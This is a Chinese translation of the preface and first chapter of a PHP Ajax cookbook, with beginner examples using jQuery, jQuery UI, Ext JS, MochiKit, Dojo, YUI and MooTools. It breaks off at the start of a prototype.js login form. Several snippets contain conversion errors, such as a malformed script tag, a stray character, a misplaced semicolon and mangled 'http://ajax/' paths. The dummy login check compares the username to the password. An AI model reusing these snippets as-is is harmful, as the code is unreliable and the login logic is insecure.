PHP-Ajax-秘籍(全)

PHP Ajax 秘籍(全)

原文:zh.annas-archive.org/md5/5ed725dded7917e2907901dccf658d88

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

Ajax 是 Web 2.0 网站中必不可少的范式。大多数 Web 2.0 网站都是用 PHP 和 Ajax 构建的。扩展 Ajax 是为了以快速简便的方式提供访问 PHP 后端服务的前端服务。有了这本书,你将学会如何使用必要的工具来实现网站和 iPhone 的 Ajax 化。

PHP Ajax Cookbook将教你如何将 PHP 和 Ajax 的组合作为网站或 Web 应用程序的强大平台。使用 Ajax 与服务器通信可以加快 PHP 后端服务的响应速度。Ajax 和 PHP 的组合具有许多功能,如加快用户体验、让你的 Web 客户端获得更快的响应时间,并让客户端浏览器从服务器检索数据而无需刷新整个页面。你将学会优化和调试 Ajax 应用程序。此外,你还将学会如何在 iPhone 设备上编写 Ajax 程序。

本书将教你流行的基于选择器的 JavaScript,然后介绍调试、优化和最佳实践的重要概念。其中包括一系列的配方,重点是创建基本工具,如使用 Ajax 验证表单和创建五星评级系统。由于 jQuery 非常流行,因此随后介绍了有用的工具和 jQuery 插件,如 Ajax 工具提示、选项卡导航、自动完成、购物车和 Ajax 聊天。到第七章结束时,你将学会如何加快网站响应速度,并构建 SEO 友好的 Ajax 网站。你还将了解所有流行的 Ajax web 服务和 API,如 Twitter、Facebook 和 Google Maps,这些都在第八章 Ajax Mashups中介绍。最后,逐步介绍了使用基本库和日常有用的 Ajax 工具构建 iPhone 应用的配方。

使用 PHP Ajax 构建丰富、交互式的 Web 2.0 网站和丰富的标准和 Mashups。

本书内容包括

第一章,Ajax 库,教我们如何使用最著名的 JavaScript 库和框架,具有 Ajax 功能的能力。这些库是根据我们的主观意见选择的,我们并不试图说哪个库/框架更好或更差。它们各自都有优点和缺点。

第二章,基本工具,着重介绍处理表单、表单控件、Ajax 表格和上传操作的基本 Ajax 操作。根据用户体验和特定系统的性能,解释了一些基于“最佳”实践。

第三章,使用 jQuery 的有用工具,讨论了 jQuery 插件,这些插件对将普通网站转变为具有良好外观的 Ajax 网站非常有用,如工具提示、带有灯箱的图库、日期选择器、快速视觉效果和布局功能。

第四章,高级工具,教我们如何构建高级功能,如聊天、绘制图表、使用画布解码验证码以及在网格中显示数据。

第五章,调试和故障排除,讨论了使用浏览器插件如 Firebug 进行 JavaScript 调试的技术。

第六章,优化,教我们如何通过缩小、提前触发 JavaScript、对象缓存以及来自 YSlow 和 Google Page Speed 工具的技巧来加快代码执行速度。

第七章,实施构建 Ajax 网站的最佳实践,讨论了避免特定标记代码、构建搜索引擎友好的 Ajax 网站、安全考虑和实施 Ajax Comet 等最佳实践。

第八章, Ajax 混搭,讨论了如何通过利用 Flickr、Picasa、Facebook、Twitter、Google Maps 和地理编码网络服务,从 JavaScript 中利用现有的网络服务。

第九章, iPhone & Ajax,教我们如何使用移动框架构建移动友好的网站,并使用 PhoneGap 框架构建原生 iPhone 应用程序。

你需要什么来读这本书

在这本书中,您基本上需要在计算机上安装 Apache、MySQL 和 PHP。如果您的计算机上没有安装 PHP、MySQL 或 Apache,我们建议您从其网站下载 XAMPP 软件包:www.apachefriends.org/en/xampp.html。此外,作为代码编辑器,您可以使用像 Notepad++(Windows)、IDE Netbeans 或 Eclipse 这样的简单编辑器。

这本书是为谁准备的

这本书是一个理想的资源,适合喜欢为网站添加 Ajax 功能并倾向于使用标准和最佳实践来构建 SEO 友好网站的人。由于本书涵盖了高级主题,读者需要了解基本的 PHP、JavaScript 和 XML 功能。

约定

在本书中,您会发现一些文本样式,用于区分不同类型的信息。以下是一些样式的示例,以及它们的含义解释。

文本中的代码单词显示如下:“我们可以通过使用include指令来包含其他上下文。”

代码块设置如下:

if(isset($_GET["param"])){
$result["status"] = "OK";
$result["message"] = "Input is valid!";
} else {
$result["status"] = "ERROR";
$result["message"] = "Input IS NOT valid!";
}

当我们希望引起您对代码块的特定部分的注意时,相关的行或项目将以粗体显示:

" $('#dob').datepicker({
" numberOfMonths: 2
" });

任何命令行输入或输出都以以下方式书写:

# cp /usr/src/asterisk-addons/configs/cdr_mysql.conf.sample
/etc/asterisk/cdr_mysql.conf

新术语重要单词以粗体显示。例如,屏幕上看到的单词,如菜单或对话框中的单词,会在文本中出现,如:“点击下一步按钮会将您移至下一个屏幕”。

注意

警告或重要提示会以这样的方式出现。

注意

提示和技巧会以这样的方式出现。

第一章:Ajax 库

在本章中,我们将涵盖:

  • 使用 jQuery 设计简单导航

  • 创建选项卡导航

  • 使用 Ext JS 设计组件

  • 在 MochiKit 中处理事件

  • 使用 Dojo 构建选项卡导航

  • 使用 YUI 库构建图表应用程序

  • 使用 jQuery 滑块加载动态内容

  • 使用 MooTools 创建 Ajax 购物车

  • 使用 prototype.js 构建 Ajax 登录表单

在本章中,我们将学习如何使用最著名的 JavaScript 库和框架的 Ajax 功能。这些库是根据我们的主观意见选择的,我们并不试图说哪个库/框架更好或更差。它们每个都有其优点和缺点。

使用 jQuery 设计简单导航

jQuery是一个开发框架,允许我们在 HTML 文档中使用 JavaScript。现在我们将使用基本的 jQuery 功能构建一个简单的导航。

准备就绪

在我们开始之前,我们需要包含最新的 jQuery 库。我们可以从www.jquery.com的下载部分下载它。我们将把它保存在名为js的 JavaScript 文件夹中,放在我们 HTML 文档的根目录中,例如cookbook

本书中提到的所有库也可以在在线缓存中找到,例如code.google.com/apis/libraries/

注意

您可以从您在www.PacktPub.com购买的所有 Packt 图书的帐户中下载示例代码文件。如果您在其他地方购买了这本书,您可以访问www.PacktPub.com/support并注册,以便直接通过电子邮件接收文件。

如何做...

现在,我们可以开始编写我们的task1.html页面。我们将把它放在cookbook文件夹中。

<!doctype html>
<html>
<head>
<title>Example 1</title>
</head>
<body>
<ul id="navigation">
<li id="home"><a href="#">Home</a></li>
<li class="active"><a href="#">Our Books</a></li>
<li><a href="#">Shop</a></li>
<li><a href="#">Blog</a></li>
</ul>
<div id="placeHolder">
<!-- our content goes here -->
</div>
<script src=js/jquery.min.js></"></script>
<script>
$(document).ready(function(){
$('#navigation li a').each(function(){
var $item = $(this);
$item.bind('click',function(event){
event.preventDefault();
var title = $item.html();
var html = title + ' was selected.';
$('#placeHolder').html(html);
});
});
$.get('ajax/test.html', function(data) {
$('.result').html(data);
alert('Load was performed.');
});
});
</script>
</body>
</html>

它是如何工作的...

现在,让我们解释一下在前面的代码片段中做了什么。我们脚本的主要思想是在文档中找到每个超链接<a>,阻止其默认功能,并在我们的placeHolder中显示超链接内容。从一开始,我们从doctype和主 HTML 布局开始。页面的主体包含用于动态内容的navigationplaceholder元素。

jQuery 功能最重要的部分是包含我们的 jQuery 库。让我们将它放在关闭<body>标签之前。这将允许页面的 HTML 首先加载:

<script src="js/jquery.min.js"></script>

在加载我们的 HTML 页面并且文档准备就绪后,我们可以在$(document).ready()函数中定义我们的 JavaScript 脚本:

<script>
$(document).ready(function(){
alert("Hello jQuery!");
});
</script>

这也可以缩短为$():

<script>
$(function(){
alert("Hello jQuery!");
});
</script>

美元符号$()代表对jQuery()工厂函数的别名。在这个函数中,我们可以使用所有的 CSS 选择器,如 ID,类,或确切的标签名称。例如:

  • $('a'):选择文档中的所有超链接

  • $('#myID'):选择具有此 ID 的元素

  • $('.myID'):选择具有此类的所有元素

在我们的情况下,我们正在选择navigation <div>中的所有超链接,并为click事件定义它们自己的功能:

$item.bind('click',function(event){
// prevent default functionality
event.preventDefault();
// here goes the rest
});

我们示例的最后一步是创建title VAR 和 HTML 字符串,它将进入placeHolder

var title = $(this).html();
var html = title + ' was selected.';
$('#placeHolder').html(html);

还有更多...

前面的例子非常简单。但是 jQuery 还有很多功能可以提供给我们。这包括特殊选择器,效果,DOM 操作或 Ajax 功能。

我们可以更精确地指定我们的选择器。例如,我们可以根据它们的href属性指定应该受到影响的超链接:

$('a[href^=mailto:]').addClass('mailto);
$('a[href$=.pdf]').addClass('pdf');
$('a[href^=http] [href*=milan]').addClass('milan');

jQuery 还涵盖了所有可能的事件(clickblur,focus,dblclick等),视觉效果(hideshow,toggle,fadeIn,fadeOut等),或 DOM 操作(appendToprependTo等)。它具有完整的 AJAX 功能,非常容易使用,例如:

$.get('test.html', function(data) {
$('.result').html(data);
});

但是我们将在进一步的任务和章节中更仔细地了解更多 jQuery 功能。

另请参阅

第一章,使用 jQuery 进行 AJAX

第二章,jQuery UI

第三章,使用 jQuery 创建选项卡导航

创建选项卡导航

jQuery UI是由 jQuery 的核心交互插件构建的。作为一个高级框架,它使得对每个开发人员来说创建效果和动画变得容易。现在我们将使用 jQuery UI 构建一个选项卡导航。

准备工作

首先,我们需要从www.jquery.com包含 jQuery 库,如果我们在前面的步骤中还没有这样做。然后,我们可以从www.jqueryui.com/download下载 jQuery UI 库。在这个页面上,我们可以下载特定的模块或整个库。我们可以选择我们喜欢的主题,或者使用高级主题设置创建自己的主题。现在,我们将选择带有ui-lightness主题的整个库。

如何做...

  1. 现在我们已经准备好编码了。让我们从 HTML 部分开始。这部分将定义一个带有三个选项卡和一个手风琴的navigation元素。
<body>
<div id="navigation">
<ul>
<li><a href="#tabs-1">Home</a></li>
<li><a href="#tabs-2">Our Books</a></li>
<li><a href="http://ajax/shop.html">Shop</a></li>
</ul>
<div id="tabs-1">
<p>Lorem ipsum dolor 1</p>
</div>
<div id="tabs-2">
<p>Lorem ipsum dolor 2</p>
</div>
</div>
</body>

  1. 当 HTML 准备好后,我们可以继续使用 CSS 和 JavaScript CSS 样式在<head>标签中,如下面的代码所示:
<head>
<link href="css/ui-lightness/jquery-ui.custom.css"
rel="stylesheet" />
</head>

  1. <body>标签关闭之前,我们将添加 JavaScript:
<script src="js/jquery.min.js"></script>
<script src="js/jquery-ui.custom.min.js"></script>
<script>
$(document).ready(function(){
$('#navigation').tabs();
});
</script>
</body>

  1. 我们的结果如下所示:如何做...

它是如何工作的...

下载的 jQuery UI 包含所选主题的整个 CSS 内容(jquery-ui.custom.css)。我们需要做的就是在<head>标签中包含它:

...
<link href="css/ui-lightness/jquery-ui.custom.css"
rel="stylesheet" />

在 CSS 之后,我们包括 jQuery 和 jQuery UI 库:

<script src="js/jquery.min.js"></script>
<script src="js/jquery-ui.custom.min.js"></script>

JavaScript 部分非常简单:

$('#navigation').tabs();

重要的是要适应所需的 HTML 结构。每个超链接都将目标 HTML 内容定位到选定的<div>标签中。为了在它们之间创建关系,我们将在每个超链接中使用#id,以及选定<div>标签的 ID(例如,tabs-1)。

在第三个选项卡中有一个例外,它通过 Ajax 加载所请求的数据。在这种情况下,我们不定义任何目标区域,因为它将自动创建。正如你所看到的,使用 jQuery UI 中的 Ajax 非常简单和舒适。

还有更多...

jQuery UI 为我们提供了很多选项。我们可以只使用前面代码片段中呈现的默认功能,也可以使用一些附加功能:

通过 Ajax 获取内容: $( "#navigation" ).tabs({ajaxOptions: {} });
鼠标悬停时打开: $( "#navigation" ).tabs({event: "mouseover"});
折叠内容: $( "#navigation" ).tabs({collapsible: true});
可排序的: $( "navigation" ).tabs().find( ".ui-tabs-nav" ).sortable({ axis: "x" });
Cookie 持久性: $( "#navigation" ).tabs({cookie: { expires: 1 }});

另请参阅

第三章,使用 jQuery 设计组件

使用 Ext JS 设计组件

Ext JS是一个 JavaScript 框架,提供了许多跨浏览器用户界面小部件。Ext JS 的核心是基于组件设计构建的,可以很容易地扩展以满足我们的需求。

准备工作

我们可以从www.sencha.com的 Ext JS 部分下载最新版本的 Ext JS 框架。现在,我们已经准备好使用两列和一个手风琴构建经典的 Ext JS 布局。我们还可以准备一个简单的 HTML 文件ajax/center-content.html来测试 Ajax 功能:

…
<body>
<p>Center content</p>
</body>
…

如何做...

  1. 首先,我们将包括像 CSS 和 Ext JS 库文件这样的强制性文件。
<link rel="stylesheet" href="css/ext-all.css" />
<script src="js/ext-base.js"></script>
<script src="js/ext-all.js"></script>

  1. 我们将继续使用onReady函数,它将运行我们的脚本:
<script type="text/javascript">
Ext.onReady(function(){
var viewport = new Ext.Viewport({
layout:'border',
items:[{
region:'west',
id:'west-panel',
title:'West',
split:true,
width: 200,
layout:'accordion',
items: [{
html: 'Navigation content',
title:'Navigation'
},{
title:'Settings',
html: 'Settings content'
}]
},{
region:'center',
layout:'column',
autoLoad:{
url: 'ajax/center-content.html',
method:'GET'
}
}]
});
});
</script>

  1. 我们的带有手风琴导航的布局已经准备好了:如何做...

它是如何工作的...

Ext JS 是为开发人员构建的,以使他们的生活更轻松。正如您在源代码中所看到的,我们已经使用一个简单的 JavaScript 对象构建了一个布局。我们有一个“Viewport”和两个项目。一个位于左侧(区域:West),第二个位于右侧(区域:East)。在这种情况下,我们不必关心 CSS。一切都由 Ext JS 直接处理,通过我们的变量如width, margins, cmargins等。layout属性非常强大。West侧的内部布局是一个手风琴,其中包含NavigationSettings。在中心列,我们可以看到通过 Ajax 加载的内容,使用autoLoad方法。

还有更多...

布局的可能选项包括:Absolute,Anchor,Card,Column,Fit,Table,Vbox 和 Hbox。

MochiKit 中的事件处理

本章中的下一个轻量级库是MochiKit。在这个任务中,我们将构建一个用于列出onkeydownonkeypress事件的脚本。在每个事件之后,我们将显示按下的键及其键代码和键字符串。

准备工作

所有必需的文件、文档和演示都可以在www.mochikit.com上找到。我们需要下载整个 MochiKit 库并将其保存在我们的js文件夹中。请注意,MochiKit.js只是一个主文件,其中包含了来自 MochiKit 的所有必要子模块(如base.js, signal.js, DOM.js等)。Ajax 请求的登陆页面将是ajax/actions.php:

<?php
if($_GET["action"] && $_GET["key"]) {
// our logic for processing given data
} else {
echo "No params provided";
}
?>

如何做...

  1. 让我们从 HTML 代码开始:
<table>
<tr>
<th>Event</th>
<th>Key Code</th>
<th>Key String</th>
</tr>
<tr>
<td>onkeydown</td>
<td id="onkeydown_code">-</td>
<td id="onkeydown_string">-</td>
</tr>
<tr>
<td>onkeypress</td>
<td id="onkeypress_code">-</td>
<td id="onkeypress_string">-</td>
</tr>
</table>

  1. 包括 MochiKit 框架:
<script type="text/javascript" src="js/MochiKit/MochiKit.js"> </script>

  1. 定义 JavaScript 功能:
<script>
connect(document, 'onkeydown',
function(e) {
var key = e.key();
replaceChildNodes('onkeydown_code', key.code);
replaceChildNodes('onkeydown_string', key.string);
doSimpleXMLHttpRequest("ajax/actions.php",
{ action: "keydown", key: key.code});
});
connect(document, 'onkeypress',
function(e) {
var key = e.key();
replaceChildNodes('onkeypress_code', key.code);
replaceChildNodes('onkeypress_string', key.string);
doSimpleXMLHttpRequest("ajax/actions.php",
{ action: "keypress", key: key.code});
});
</script>

  1. 我们的结果是:How to do it...

它是如何工作的...

connect()函数将信号(Mochikit.Signal API 参考)连接到插槽。在我们的情况下,我们将我们的文档连接到onkeydownonkeypress处理程序以调用一个function(e)。参数e表示我们的事件对象,当key()对象引用返回键代码和字符串时。

replaceChildNodes(node[, childNode[,...]])是 Mochikit.DOM API 参考的一个函数,它从给定的 DOM 元素中删除所有子元素,然后将给定的childNode附加到其中。

在每个onkeydownonkeypress事件之后,我们都会使用doSimpleXMLHttpRequest()函数发送一个 Ajax 调用。在我们的示例中,我们页面的请求看起来像ajax/actions.php?action=onkeydown&key=87

还有更多...

任何具有连接插槽的对象都可以通过disconnect()disconnectAll()函数断开连接。在我们想要仅使用connect()一次的情况下,我们可以使用connectOnce()函数,这将在信号处理程序触发后自动断开信号处理程序。

MochiKit 允许我们充分利用现有的浏览器生成的事件,但其中一些事件并不是所有浏览器都原生支持的。MochiKit 能够合成这些事件,其中包括onmouseenter, onmouseleaveonmousewheel

使用 Dojo 构建选项卡导航

现在我们将看一下 Dojo JavaScript 库。我们将使用Dojo Toolkit(dojoToolKit)的基本功能构建一个简单的选项卡导航。

准备工作

我们需要从 Google CDN(ajax.googleapis.com/ajax/libs/dojo/1.5/dojo/dojo.xd.js)或 AOL CDN(o.aolcdn.com/dojo/1.5/dojo/dojo.xd.js.)等网站上包含 Dojo Toolkit。

如果您想要下载整个 Dojo SDK,您可以在www.dojotoolkit.org/download找到它。

Ajax 请求的登陆页面将是ajax/content1.html:

<body>
<h1>Operation completed.</h1>
</body>

如何做...

  1. 我们将在文档的<head>标签中包含来自claro主题(包含在dojoToolKit中)的样式:
<link rel="stylesheet" type="text/css" href="http://js/dojoToolKit/dijit/themes/claro/claro.css" />

  1. 我们将在我们的文档的主体中定义我们的 HTML 代码:
<body class="claro">
<div>
<div dojoType="dijit.layout.TabContainer">
<div dojoType="dijit.layout.ContentPane"
title="Our first tab" selected="true">
<div id="showMe">
click here to see how it works
</div>
</div>
<div dojoType="dijit.layout.ContentPane"
title="Our second tab">
Lorem ipsum - the second
</div>
<div dojoType="dijit.layout.ContentPane"
title="Our last tab" closable="true">
Lorem ipsum - the last...
</div>
</div>
</div>
</body>

  1. 当 HTML 和 CSS 准备就绪时,我们将包含所需的模块DojoToolkit
<script type="text/javascript"
src="js/dojoToolKit/dojo/dojo.js"
djConfig="parseOnLoad: true"></script>
<script type="text/javascript">
dojo.require("dijit.layout.TabContainer");
dojo.require("dijit.layout.ContentPane");
</script>

  1. 添加 JavaScript 功能给我们带来了以下结果:
<script type="text/javascript">
dojo.addOnLoad(function() {
if (document.pub) { document.pub(); }
dojo.query("#showMe").onclick(function(e) {
dojo.xhrGet({
url: "ajax/content1.html",
load: function(result) {
alert("The loaded content is: " + result);
}
});
var node = e.target;
node.innerHTML = "wow, that was easy!";
});
});
</script>

  1. 当上述代码片段准备好并保存后,我们的结果将是一个带有三个选项卡的简单选项卡导航。如何做...

工作原理...

正如您在源代码中所看到的,我们正在使用 Dijit-Dojo UI 组件系统。Dijit包含在 Dojo SDK 中,并包括四种支持的主题的 UI 组件,(nihilo soria, tundra,and claro)。我们可以通过选择<body>标签中的一个类来设置我们想要使用的主题。在前面的例子中,我们有class="claro"

当我们包含dojoToolKit脚本时,需要为djConfig属性提供parseOnLoad:true。如果没有这个,Dojo 将无法找到应该转换为 Dijit 小部件的页面元素。

当我们想要使用特定的小部件时,我们需要调用小部件的所需类(dojo.require("dijit.layout.TabContainer")),并提供其dojoType属性(dojoType="dijit.layout.TabContainer")。作为在 Dojo 中使用 Ajax 的示例,我们使用dojo.xhrGet()函数每次点击showMe div 时获取ajax/content1.html的内容。

使用 YUI 库构建图表应用程序

在这个任务中,我们将使用 Yahoo!开发的 UI 库来构建一个图表。

准备工作

YUI 库可以在 Yahoo!的开发者网站(developer.yahoo.com/yui/3)上下载。将其保存在我们的js文件夹中后,我们就可以开始编程了。

如何做...

  1. 我们必须首先在文档的<head>标签中包含 YUI 库以及我们图表的占位符的样式:
<script type="text/javascript" src="js/yui-min.js"></script>
<style>
#mychart {
margin:10px;
width:90%; max-width: 800px; height:400px;
}
</style>

  1. 我们将把我们的 HTML 放在<body>标签中,以标记我们的图表将放置的位置:
<div id="mychart"></div>

  1. 我们的 JavaScript 如下:
<script type="text/javascript">
(function() {
YUI().use('charts', function (Y){
//dataProvider source
var myDataValues = [
{date:"January" , windows:2000, mac:800, linux:200},
{date:"February", windows:3000, mac:1200, linux:300},
{date:"March" , windows:3500, mac:1900, linux:1400},
{date:"April" , windows:3000, mac:2800, linux:200},
{date:"May" , windows:1500, mac:3500, linux:700},
{date:"June" , windows:2000, mac:3000, linux:250}
];
//Define our axes for the chart.
var myAxes = {
financials:{
keys:["windows", "mac", "linux"],
position:"right", type:"numeric"
},
dateRange:{
keys:["date"],
position:"bottom",type:"category"
}
};
//instantiate the chart
var myChart = new Y.Chart({
type:"column", categoryKey:"date",
dataProvider:myDataValues, axes:myAxes,
horizontalGridlines: true,
verticalGridlines: true,
render:"#mychart"
});
});
})();</script>

  1. 保存并打开我们的 HTML 文档后的结果如下:如何做...

工作原理...

YUI 图表是在Chart对象中定义的。对于“文档准备就绪”函数,我们将使用(function(){...})()语法。我们需要指定我们要使用YUI() 'charts'

主要部分是创建一个Y.Chart对象。我们可以定义这个图表的渲染方式,网格线的外观,图表的显示位置以及要显示的数据。我们将使用myAxes对象定义坐标轴,该对象处理侧边的图例。我们的数据存储在myDataValues对象中。

还有更多...

有许多可能性和方法来设置我们的图表样式。我们可以将图表分割成最小的部分并设置每个属性。例如,标签的旋转或边距:

styles:{
label: {rotation:-45, margin:{top:5}}
}

YUI 还包括 Ajax 功能。一个简单的 Ajax 调用将如下所示:

<div id="content">
<p>Place for a replacing text</p>
</div>
<p><a href="http://ajax/content.html" onclick="return callAjax();">Call Ajax</a></p>
<script type="text/javascript">
//<![CDATA[
function callAjax(){
var sUrl = "http://ajax/content.html";
var callback = {
success: function(o) {
document.getElementById('content')
.innerHTML = o.responseText;
},
failure: function(o) {
alert("Request failed.");
}
}
var transaction = YAHOO.util.Connect
.asyncRequest('GET', sUrl, callback, null);
return false;
}
//]]>
</script>

我们创建了callAjax()函数,当点击Call Ajax超链接时触发该函数。Ajax 调用由YAHOO.util.Connect.asyngRequest()提供。我们定义了 HTTP 方法(GET),请求的 URLajax/content.html,以及callback功能与success方法,该方法在'content' <div>中显示响应文本。

使用 jQuery 滑块加载动态内容

在这个任务中,我们将学习如何使用 jQuery 滑块动态加载页面内容。

准备工作

在这个任务中,我们也将使用 jQuery UI 库。我们可以从jqueryui.com/download下载 jQuery UI 库,也可以从一些 CDN 上下载。然后我们将为我们的小项目创建一个名为packt1的文件夹。在我们的packt1文件夹中将有更多的文件夹;这些是通过 Ajax 加载的 HTML 文件的ajax文件夹,用于我们的样式的 CSS 文件夹,以及用于我们的 JavaScript 库的js文件夹。

文件夹结构将如下所示:

Packt1/
ajax/
content1.html
content2.html
content3-broken.php
items.html
css/ - all stylesheets
js/
ui/ - all jQuery UI resources
jquery-1.4.4.js
index.html

如何做...

一切都准备好了,我们可以开始了。

  1. 我们将从基本的 HTML 布局和内容开始。这部分已经包括了一个链接到我们的 CSS,来自 jQuery UI 库。我们可以将其保存为index.html:
<!DOCTYPE html>
<html lang="en">
<head>
<title>Ajax using jQuery</title>
<link href="css/ui-lightness/jquery-ui.custom.css"
rel="stylesheet" />
</head>
<body>
<div class="demo">
<div id="tabs">
<ul>
<li><a href="#tabs-1">Home</a></li>
<li><a href="http://ajax/content1.html">Books</a></li>
<li><a href="http://ajax/content2.html">FAQ</a></li>
<li><a href="http://ajax/content3-broken.php">
Contact(broken) </a>
</li>
</ul>
<div id="tabs-1">
This content is preloaded.
</div>
</div>
</div>
</body>
</html>

  1. 现在我们将添加 JavaScript 库及其功能:
<script src="js/jquery-1.4.4.js"></script>
<script src="js/ui/jquery-ui.min.js"></script>
<script>
$(function() {
$("#tabs").tabs({
ajaxOptions: {
success: function(){
$("#slider").slider({
range: true,
min: 1,
max: 10,
values: [1,10],
slide: function( event, ui ) {
$("#amount").val(ui.values[0] + " to " +
ui.values[1]);
},
change: function(event, ui) {
var start = ui.values[0];
var end = ui.values[1];
$('#result').html('');
for(var i = start; i <= end; i++){
var $item = $('<h3></h3>');
$item
.load('ajax/items.html #item-'+i);
.appendTo($('#result'));
} }
});
},
error: function(xhr, status, index, anchor) {
$(anchor.hash).html(
"Couldn't load this tab. We'll try to fix
this as soon as possible. " +
"If this wouldn't be a demo." );
}
}
});
});
</script>

  1. 我们的index.html页面已经准备好了,我们可以创建要通过 Ajax 在我们的页面中加载的文件。

第一页将是 ajax/content1.html。此页面将包含一个具有额外功能的滑块,稍后将进行描述。

<h2>Slider</h2>
<p>
<label for="amount">Displaying items:</label>
<input type="text" id="amount" style="border:0;
color:#f6931f; font-weight:bold;" value="none" />
</p>
<div id="slider"></div>
<div id="result"></div>

  1. 第二页将是ajax/content2.html:
<p><strong>This tab was loaded using ajax.</strong></p>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Aenean nec turpis justo, et facilisis ligula.</p>

我们 Ajax 文件夹中的最后一个文件将是 items.html:

<div id="item-1">Item 1</div>
<div id="item-2">Item 2</div>
<div id="item-3">Item 3</div>
<div id="item-4">Item 4</div>
<div id="item-5">Item 5</div>
<div id="item-6">Item 6</div>
<div id="item-7">Item 7</div>
<div id="item-8">Item 8</div>
<div id="item-9">Item 9</div>
<div id="item-10">Item 10</div>

  1. 现在,如下面的屏幕截图所示,我们有一个具有四个选项卡的多功能页面。其中三个通过 Ajax 加载,其中一个包含一个滑块。这个滑块有额外的功能,每次更改都会加载选定数量的商品。如何做...

它是如何工作的...

从一开始,我们使用 jQuery UI 库创建了一个简单的带有四个选项卡的选项卡布局。其中一个(#tabs-1)直接包含在index.html文件中。jQuery UI 库允许我们定义ajaxOptions,以便我们可以通过 Ajax 加载我们的内容。我们在每个超链接的href属性之前找到所需内容的导航。如果此目标不存在,则会触发error方法。

我们希望在我们的第二个选项卡(名为Books)上有一个功能性的滑块。为了使其工作,我们不能在$(document).ready()函数中初始化它,因为它的 HTML 内容尚未创建。我们将仅在success方法中需要时添加滑块初始化。

在每次滑块更改后,都会触发load()函数。此函数通过 Ajax 加载给定目标的内容。在我们的情况下,我们使用了一个更具体的选择器,具有对象的确切 ID,该 ID 显示在我们的结果框中。

还有更多...

在这项任务中,我们只使用了基本的load()函数,但 jQuery 提供了更多的 Ajax 方法,如下表所示:

$.ajax 执行 Ajax 请求
jQuery.post() 使用 HTTP POST 请求从服务器加载数据
jQuery.get() 使用 HTTP GET 请求从服务器加载数据
jQuery.getJSON() 使用 HTTP GET 请求从服务器加载 JSON 数据
jQuery.getScript() 使用 HTTP GET 请求从服务器加载并执行 JavaScript 文件

另请参阅

第三章,使用 jQuery 的有用工具

使用 MooTools 创建 Ajax 购物车

这项任务将向我们展示如何在 MooTools JavaScript 框架中使用 Ajax。我们将构建一个带有拖放功能的购物车。在每次 UI 解释添加新商品到购物车后,我们将向服务器发送一个 HTTP POST 请求。

准备工作

MooTools可在mootools.net/download或 Google 的 CDN 上下载。为了在服务器和客户端之间进行通信,我们将在我们的ajax文件夹中创建一个新文件,例如addItem.php:

<?php
if($_POST['type']=='Item'){
echo 'New Item was added successfuly.';
}
?>

创建了这个虚拟的 PHP 文件后,我们准备继续进行此任务的编程部分。

如何做...

  1. 我们将像通常一样从 HTML 布局开始,包括 MooTools 库:
<!doctype html>
<html>
<head>
<title>Ajax Using MooTools</title>
</head>
<body>
<div id="items">
<div class="item">
<span>Shirt 1</span>
</div>
<div class="item">
<span>Shirt 2</span>
</div>
<div class="item">
<span>Shirt 3</span>
</div>
<div class="item">
<span>Shirt 4</span>
</div>
<div class="item">
<span>Shirt 5</span>
</div>
<div class="item">
<span>Shirt 6</span>
</div>
</div>
<div id="cart">
<div class="info">Drag Items Here</div>
</div>
<h3 id="result"></h3>
<script src="js/mootools-core-1.3-full.js"></script>
<script src="js/mootools-more-1.3-full.js"></script>
<script src="js/mootools-art-0.87.js"></script>
</body>
</html>

  1. 在这项任务中,我们必须提供自己的 CSS 样式:
<style>
#items {
float: left; border: 1px solid #F9F9F9; width: 525px;
}
item {
background-color: #DDD;
float: left;
height: 100px;
margin: 10px;
width: 100px;
position: relative;
}
item span {
bottom: 0;
left: 0;
position: absolute;
width: 100%;
}
#cart {
border: 1px solid #F9F9F9;
float: right;
padding-bottom: 50px;
width: 195px;
}
#cart .info {
text-align: center;
}
#cart .item {
background-color: green;
border-width: 1px;
cursor: default;
height: 85px;
margin: 5px;
width: 85px;
}
</style>

  1. 当我们的 UI 外观符合我们的期望时,我们可以开始 JavaScript:
<script>
window.addEvent('domready', function(){
$('.item').addEvent('mousedown', function(event){
event.stop();
var shirt = this;
var clone = shirt.clone()
.setStyles(shirt.getCoordinates())
.setStyles({
opacity: 0.6,
position: 'absolute'
})
.inject(document.body);
var drag = new Drag.Move(clone, {
droppables: $('cart'),
onDrop: function(dragging, cart){
dragging.destroy();
new Request.HTML({
url: 'ajax/addItem.php',
onRequest: function(){
$('result').set('text', 'loading...');
console.log('loading...');
},
onComplete: function(response){
$('result').empty().adopt(response);
console.log(response);
}a
}).post('type=shirt');
if (cart != null){
shirt.clone().inject(cart);
cart.highlight('#7389AE', '#FFF');
}
},
onCancel: function(dragging){
dragging.destroy();
}
});
drag.start(event);
});
});
</script>

  1. 一旦我们保存了我们的代码,我们的购物车就准备好了。结果如下:如何做...

它是如何工作的...

$(document).ready函数通过将domready事件绑定到window对象来执行。对于每个项目,我们都会添加一个mousedown事件,其中包含将每个项目添加到购物车中的整个过程,使用Drag对象和clone()函数。

为了与服务器通信,我们使用Request.HTML方法,并使用HTTP post方法发送它,带有post变量type。如果变量type等于字符串shirt,这意味着新商品已添加到购物车,并且信息框结果已更新为'新商品已成功添加'

还有更多...

Class Request代表处理XMLHttpRequest的主要类:

var myRequest = new Request([options]);

前述模板的示例如下:

var request = new Request({
url: 'sample.php', data: { sample: 'sample1'},
onComplete: function(text, xml){
$('result').set('text ', text);
}

在 MooTools 库的核心中,Request类被扩展为Request.HTMLRequest.JSON

Request.HTML是专门用于接收 HTML 数据的扩展Request类:

new Request.HTML({
url: 'sample.php',
onRequest: function(){
console.log('loading...');
},
onComplete: function(response){
$('result').empty().adopt(response);
}
}).post('id=242');

我们可以使用postget方法:

new Request.HTML([options]).get({'id': 242});

作为客户端和服务器之间有效的通信实践,我们可以使用Request.JSONJSON格式接收和传输 JavaScript 对象。

var jsonRequest = new Request.JSON({
url: 'sample.php', onSuccess: function(author){
alert(author.firstname); // "Milan".
alert(author.lastname); // "Sedliak"
alert(author.company); // "Skype"
}}).get({bookTitle: 'PHP Ajax CookBook', 'bookID': 654});

使用 prototype.js 构建 Ajax 登录表单

本章中最后一个 JavaScript 框架是prototype.js。在这个任务中,我们将使用 Ajax 功能制作一个简单的登录表单。我们将看一下在 Ajax 中最常用的prototype.js实践。

准备工作

我们可以从www.prototypejs.org/download下载prototype.js。然后,只需将其保存在js文件夹中。要完成这个任务,我们需要让 Apache 服务器运行。

如何做...

  1. 首先,让我们创建我们的虚拟.php文件,login.php:
<?php
if($_POST['username']==$_POST['password']){
